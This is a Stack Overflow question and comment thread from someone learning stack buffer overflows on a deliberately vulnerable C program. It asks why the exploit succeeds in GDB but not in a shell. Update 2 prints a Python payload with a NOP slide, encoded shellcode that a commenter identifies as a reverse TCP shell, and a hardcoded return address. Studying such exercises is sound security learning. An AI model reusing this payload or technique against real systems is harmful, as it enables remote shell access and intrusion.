0


My question is pretty much what the title describes, I have read a lot of articles online but none of them explained how can I actually make a workable exploit like ./buf < attack.txt where attack.txt is my payload which contains my exploit within it. Let me make you understand my question by taking an example.

Let's consider this famous C program which is used to teach bufferoverflow.

#include<stdio.h>
#include<string.h>

int main(int argc, char const *argv[])
{
    char buff[500];
    strcpy(buff,argv[1]);
    printf("%s\n",buff);
    return 0;
}

Most of us know the theoretical approach to this, but to sum up, we are trying to exploit strcpy() to create an overflow and overwrite the memory address in the stack where the ret instruction will point to.

Just like an ordinary newbie, I executed this file using the following command.

gcc -fno-stack-protector -z execstack buf.c -o buf

Now this gives me a binary ELF executable file, in Ubuntu 17.10.1 64-bit vbox. I use the GDB to create a buffer overflow. I disassemble the main(), insert break points, calculate the offset, generate a payload, insert an exploit and make it successfully point to my exploit's address. Then, I exploit the program and Vola! my program gets successfully exploited. Things go pretty smooth till now. I have got a general idea of how the exploitation is done and I probably can find other buffer overflow exploits now and exploit them Inside GDB. This is where I am stuck.

If I have to exploit a program I have to do it via GDB I am unable to do it outside in shell, I don't know why but it raises Segmentation fault.

I panic, I cry and I go to sleep. After waking up in despair I quickly google "buffer overflow occurs in GDB but not in the shell" and I come across this Buffer overflow works in gdb but not without it.

Now, the above article explains that there are many differences in the 2 environments and so it includes Wrapper Program shell script which is, as I have experienced, a bridge between Shell and GDB. it brings both of them to a common platform (ofcourse, I don't know how?)

I again debug my program using this command now,

./envexec -d buf

and I execute it using

./envexec buf ($python payload.py) 

and it's not working again!

I unset 2 environment variables inside GDB

unset env LINES
unset env COLUMNS

then again after I execute,

./envexec buf ($python payload.py) 

It finally works! Job Well Done!

But no! I am not satisfied here. I want this to work without the Wrapper Program. I should be able to exploit it using this

./buf $(python payload.py)

but I am unable to do that. I request someone to help me out with this

P.S: Before downvoting or requesting this question to be closed, kindly read the entire question.

UPDATE 1: I have already disabled Address space Layout randomization.

UPDATE 2: Payload attached

buf_length = 520
nop_length = 100

nop_slide = "\x90"*nop_length

buf =  ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xfa\x6e\x99\x49\xdc\x75\xa8"
buf += "\x43\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x90\x47\xc1\xd0\xb6\x77\xf7\x29\xfb\x30\x96\x4c\x94"
buf += "\xe2\xe0\xfa\xf8\x6e\x88\x15\xa3\x75\xa8\x42\xab\x26"
buf += "\x10\xaf\xb6\x65\xf2\x29\xd0\x36\x96\x4c\xb6\x76\xf6"
buf += "\x0b\x05\xa0\xf3\x68\x84\x7a\xad\x36\x0c\x04\xa2\x11"
buf += "\x45\x3d\x13\x6c\x98\x07\xf7\x66\xaf\x1d\xa8\x10\xb2"
buf += "\xe7\x7e\x1b\x8b\x3d\x21\xa5\xf5\x6b\x99\x49\xdc\x75"
buf += "\xa8\x43"

padding = "A"*(buf_length-nop_length-len(buf))
return_address = "\x10\xe9\xff\xff\xff\x7f"
print (nop_slide+buf+padding+return_address)

UPDATE 3: As per @poming's comment, I tried to run the attach a running process to GDB and tried to debug it at the runtime.

Difficulty: as the process was getting terminated almost instantly, I couldn't attach a process to GDB.

Solution: I had to dump a core file for that, I had to enable core dump by using the following command and as per the following answer https://stackoverflow.com/a/35747215/4208058

 ulimit -c unlimited

Since I am also using Ubuntu, I had to kill the service apport using the following command,

sudo service apport stop 

Now, I tried debugging the script using core file and I noticed that the return address was invalid, I had to search the entire stack for Nops and then I pointed to the return_address from my payload to the actual value it was shown in the core file.

I tried executing the file again with my payload using the command,

./buf.exe $(python payload.py)

And it works! This was awesome. This practically answers my own question but my doubt still remains. What difference does a wrapper program make and why do I have so much difference in the stack between 2 different environments?

Panda
  • 2,400
  • 3
  • 25
  • 35
  • 1
    Can you not find something useful to study? – Martin James Apr 09 '18 at 07:06
  • @MartinJames Well I guess, it should be a personal choice. I will appreciate your comments on the answer though. – Panda Apr 09 '18 at 07:08
  • Not sure but wasn't it due to ASLR? It's a protection against such attacks, need to disable it... – Jean-Baptiste Yunès Apr 09 '18 at 07:40
  • 1
    @MartinJames Is apllication security not a useful field to study? – Kami Kaze Apr 09 '18 at 07:47
  • 1
    Exploits like this only work if you know the exact memory layout of the program. And that layout is likely to be different in debug and release mode. There's no such thing as a "portable" exploit. – Lundin Apr 09 '18 at 07:57
  • @KamiKaze Studying application security here is done in 5 seconds: don't write ridiculously stupid strcpy() calls on unchecked command line parameters. Done. – Lundin Apr 09 '18 at 07:58
  • 3
    @Lundin while this is true. Understanding such things and learning about how it does(n't) work, takes a bit more than 5 sec. And that again can help to reduce attack vectors in the future, – Kami Kaze Apr 09 '18 at 08:22
  • @Jean-BaptisteYunès I forgot to mention it in the post, but I have disabled ASLR as well. Thank you for reminding me. – Panda Apr 09 '18 at 09:23
  • 2
    @Lundin Well, if you read my question, you will understand that I am asking you how to make a workable exploit for this and not it's preventive measures. I would appreciate answers Instead of comments that are not related to my question. Thank you – Panda Apr 09 '18 at 09:27
  • @M.S.P in that case, employ an expert or contract a freelancer. – Martin James Apr 09 '18 at 09:39
  • 'Before downvoting or requesting this question to be closed, kindly read the entire question' I did read the entire question, both before and after you edited it. Suggesting that the skilled an experienced developers who user-moderate on SO down/close vote without diligent reading of the question is insulting and rude. – Martin James Apr 09 '18 at 09:44
  • 3
    Come on everyone, if you have an answer just answer it. If you think the question is poor just suggest me a way to get to the answer. Thank you. I am here trying to learn something new. – Panda Apr 09 '18 at 10:38
  • The answer is likely the same as in the given link, different memory layout in debug and release mode. I don't see how ASLR would affect this, since no absolute addresses are used. When I run this in GDB in Windows/Mingw, I get `buff` at at 32 byte higher address than the stacked return value. Why GDB allocates stack frames in certain way, I really have no idea. – Lundin Apr 09 '18 at 11:37
  • may you post your payload? – poming Apr 09 '18 at 12:54
  • and I think you can attach the process by gdb to see what is wrong. – poming Apr 09 '18 at 14:19
  • @poming, I have updated my question. Please have a look. Thank you – Panda Apr 09 '18 at 18:30
  • I guess there's two problems : 1. the return address to shellcode is wrong, even you've disable ASLR it's still possible to be different (at least my machine do), so make sure to attach the process by gdb to check the return address. 2. maybe there's something wrong in your reverse TCP shellcode, I traced your shellcode and failed at syscall `connect`, I changed the shellcode and it worked (although it's really slow for unknown reason) – poming Apr 10 '18 at 07:16
  • @poming, I checked, the main problem is that return address is correct when I am running it using ./envexec script but it is incorrect when I run it using the shell directly, I will now try to attach the process using GDB and debug it further. – Panda Apr 10 '18 at 07:20
  • With no ASLR, the distance between the stack map bottom ("top", namely the highest address of stack memory) and the position of the return address of main function call frame is the sum of everything on the stack. There are argv/envp strings (very likely different) auxv (whose size is hardcoded in kernel), envp (very likely and very often gdb uses different environment variables for your program than the shell), argv (different number of arguments), argc, and the size of the __libc_stack_main stack frame. Given your condition, I bet the gdb gave different envp. – Thiner May 02 '18 at 19:01
  • But you could let the program print out its buffer address, with or without gdb. That way you can see more in what happened. – Thiner May 02 '18 at 19:03

0 Answers0